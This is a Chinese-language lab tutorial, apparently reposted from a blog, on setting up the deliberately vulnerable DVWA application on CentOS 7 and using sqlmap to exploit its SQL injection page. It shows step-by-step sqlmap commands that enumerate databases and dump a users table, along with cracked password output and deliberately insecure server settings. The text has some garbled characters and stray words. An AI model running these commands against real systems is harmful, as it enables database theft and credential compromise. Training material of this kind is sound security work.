CentOS 7 经过SQLmap进行SQL注入

安装SQLmap: IP:a.b.c.dphp

***测试演练系统DVWA: IP:a.b.c.dhtml

经过SQLmap检测SQL注入漏洞 :mysql

1.安装SQLmap漏洞查看工具web

2.安装***测试演练系统DVWAsql

3.使用SQLmap进行sql注入并得到后台管理员adnim账号和密码数据库

sql注入概述:apache

所谓SQL注入,就是经过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令vim

它是利用现有应用程序,能够经过在Web表单中输入(恶意)SQL语句获得一个存在安全漏洞的网站上的数据库浏览器

好比先前的不少影视网站泄露VIP会员密码大多就是经过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式***安全

好比 :12306.cn 账号和密码泄露

什么是SQLmap?

SQLmap是一款用来检测与利用SQL注入漏洞的免费开源工具,有一个很是棒的特性,即对检测与利用的自动化处理(数据库指纹、访问底层文件系统、执行命令)

官方网站下载 : http://sqlmap.org/

安装sqlmap
pip install sqlmap

测试
sqlmap --help
CentOS 7 经过SQLmap进行SQL注入
DVWA (Dam Vulnerable Web Application)DVWA是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞

官方网站:连接地址:http://www.dvwa.co.uk 网站是英国的 ,有时候访问外国的网站可能会打不开

安装测试演练系统DVWA
CentOS 7 经过SQLmap进行SQL注入
快速部署DVWA
测试环境 , 搭建一个安全系数较低的网站

[root@dvwa ~]# yum install -y httpd mysql-server mysql php php-mysql php-gd
[root@dvwa ~]# systemctl start httpd
[root@dvwa ~]# systemctl start mariadb
php-gd库:gd库是php处理图形的扩展库,gd库提供了一系列用来处理图片的API,使用GD库能够处理图片,或者生成图片。 在网站上GD库一般用来生成缩略图或者用来对图片加水印或者对网站数据生成报表及验证码

测试LAMP环境

[root@dvwa ~]# vim /var/www/html/info.php
<?php phpinfo(); ?>

CentOS 7 经过SQLmap进行SQL注入
[root@dvwa ~]# mysqladmin -u root password "123456"
[root@dvwa ~]# mysql -u root -p123456
#将下载的dvwa***系统代码上传到Linux上 ,并解压到网页根目录下
[root@dvwa ~]# unzip DVWA-master.zip -d /var/www/html/
[root@dvwa ~]# ls /var/www/html/
1.php DVWA-master
[root@dvwa ~]# chown -R apache.apache /var/www/html/DVWA-master/
#编辑/dvwa/config/config.inc.php , 配置数据库信息 ,user和password是MySQL的用户名和密码
#cp配置文件模板
[root@dvwa ~]# cp /var/www/html/DVWA-master/config/config.inc.php{.dist,}
[root@dvwa ~]# vim /var/www/html/DVWA-master/config/config.inc.php
$_DVWA[ 'db_server' ] = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ] = 'root';
$_DVWA[ 'db_password' ] = '123456'; # 修改成mysql的root密码

部署DVWA网站系统

在浏览器中输入:http://ip/DVWA-master/setup.php

解决环境问题

[root@dvwa ~]# vim /etc/php.ini
allow_url_include = Off 把Off改成On
[root@dvwa ~]# systemctl restart httpd

后期登陆:

http://ip/DVWA-master/login.php

dvwa的登陆界面的默认用户名和密码为admin和password

到这DVMA就部署完了

接下来就开始SQL注入了

SQLmap探测sql注入漏洞 :

1.枚举登陆MYSQL数据的用户名与密码

2.枚举全部数据库

3.枚举指定数据库的数据表

4.枚举指定数据表中的全部用户名与密码

语法:SQLmap命令选项被归类为目标(Target)选项、请求(Request)选项、优化、注入、检测、技巧(Techniques)、指纹、枚举等

使用SQLmap以前咱们获得须要当前会话cookies等信息,用来在***过程当中维持链接状态,这里使用Firefox中名为“TamperData”的插件获取

Tamper Data是一个用于跟踪和修改http/https请求和POST参数的扩展

为方便演示,咱们将DVWA安全等级设置为low
接下来该轮到SQLmap登场了

[root@sqlmap ~]# sqlmap -u "http://ip/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low' -b --current-db --current-user
使用选项:

一、--cookie : 设置咱们的cookie值“将DVWA安全等级从high设置为low”

二、-u : 指定目标URL,syql注入点

三、-b : 获取DBMS banner (DBMS:Database Management System 数据库管理系统)

四、--current-db : 获取当前数据库

五、--current-user :获取当前用户

中间会遇到几个选项,一路选择y就能够了

1.使用命令用来枚举全部登陆msyql数据库的用户名和密码hash值,后期能够对密码hash进行破解,生成明文密码

2.枚举系统中全部的数据库名

3.枚举dvwa数据表

4.获取dvwa库中users表的全部列名字

5.提取user表中的用户名与密码等信息。将用户与密码表中的全部用户名与密码dump出来

cookie 和 sql注入点永远不变

==================================步骤1============================================

[root@sqlmap ~]# sqlmap -u "http://ip/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low' --string="Surname" --users --password
使用选项:

一、--string : 当查询可用时用来匹配页面中的字符串

二、--users : 枚举DBMS用户

三、--password : 枚举DBMS用户密码hash

==================================步骤2============================================
[root@sqlmap ~]# sqlmap -u "http://ip/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low' --dbs
使用选项:

--dbs: 枚举DBMS中的全部数据库

===================================步骤3============================================
[root@sqlmap ~]# sqlmap -u "http://ip/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low' -D dvwa --tables
使用选项:

一、-D : 要枚举的DBMS数据库
二、--tables : 枚举DBMS数据库中的数据表

===================================步骤4============================================
[root@sqlmap ~]# sqlmap -u "http://ip/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low' -D dvwa -T users --columns
使用选项:

-T : 要枚举的DBMS数据库表

--columns : 枚举DBMS数据库表中的全部列

===================================步骤5============================================
提取user表中的用户名与密码等信息。将用户与密码表中的全部用户名与密码dump出来

[root@sqlmap ~]# sqlmap -u "http://ip/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie='security=low' -D dvwa -T users -C user,password --dump
使用选项:

-T : 要枚举的DBMS数据表

-C: 要枚举的DBMS数据表中的列

--dump : 转储DBMS数据表项

SQLmap会提问是否破解密码,按回车确认

尽管咱们用的数据库中密码是通过md5加密的,可是sqlmap能够导出sql数据,帮你解析成明文密码
查看导出的数据 :
[root@sqlmap ~]# cat /root/.sqlmap/output/ip/dump/dvwa/users.csv
user,password
1337,8d3533d75ae2c3966d7e0d4fcc69216b (charley)
admin,5f4dcc3b5aa765d61d8327deb882cf99 (password)
gordonb,e99a18c428cb38d5f260853678922e03 (abc123)
pablo,0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)
smithy,5f4dcc3b5aa765d61d8327deb882cf99 (password)

到这咱们就利用SQLmap***到一个有漏洞的网站 , 并得到了后台管理员admin的帐号和密码

实例:
实验 简单的sql注入
连接:http://ctf5.shiyanbar.com/web/index_3.php
CentOS 7 经过SQLmap进行SQL注入
CentOS 7 经过SQLmap进行SQL注入
CentOS 7 经过SQLmap进行SQL注入
CentOS 7 经过SQLmap进行SQL注入
CentOS 7 经过SQLmap进行SQL注入
CentOS 7 经过SQLmap进行SQL注入

原文参考连接地址:
https://www.cnblogs.com/bigdevilking/p/9420498.html
https://blog.csdn.net/tututuo/article/details/80033868

相关文章
相关标签/搜索